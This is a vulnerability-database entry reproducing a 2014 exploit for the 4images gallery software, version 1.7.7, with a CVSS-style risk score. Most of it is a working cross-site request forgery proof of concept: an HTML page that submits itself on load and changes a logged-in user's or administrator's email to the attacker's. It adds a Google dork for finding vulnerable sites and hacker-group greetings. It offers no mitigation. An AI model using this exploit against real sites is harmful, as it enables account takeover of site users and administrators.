4images - Image Gallery Management System - [CSRF] Change mail user or admin

🗓️ 01 Jul 2014 00:00:00Reported by RootType

4images CSRF vulnerability change mail user or admi


                                                ########################################################################################################
# Title: 4images - Image Gallery Management System - [CSRF] Change mail user or admin  

# Author: Dmar al3noOoz  

# Mail : wafee_s[at]hotmail.com 

# Name : 4images - Image Gallery Management System

# dork : Google Dork: &#34;4images - Image Gallery Management System&#34;

# Software Link : http://www.4homepages.de

# Version: 1.7.7  
##############################################  Exploit  ##############################################  

&#60;html&#62;
&#60;body onload=&#34;javascript:fireForms()&#34;&#62;
&#60;script language=&#34;JavaScript&#34;&#62;
var pauses = new Array( &#34;1062&#34; );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date &#60; millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i&#60;count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
&#60;/script&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://www.XXXXXX.com/patch/member.php&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_email&#34; value=&#34;you mail&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_email2&#34; value=&#34;you mail&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;updateprofile&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;



-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=-Greetz-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=-
-=- v4-team.com - Evil-Cod3r - dmar hacker - dr.Dmar - Dmaral7roOob - Ra7aLAlgnob - Mr.law - Alkeasr20 - Mr.black - Cyber-CrysTaL    -=-
-=-                                          Team 19vr - RootAl3noz - all Friend - exploit-db.com                                    -=-
-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1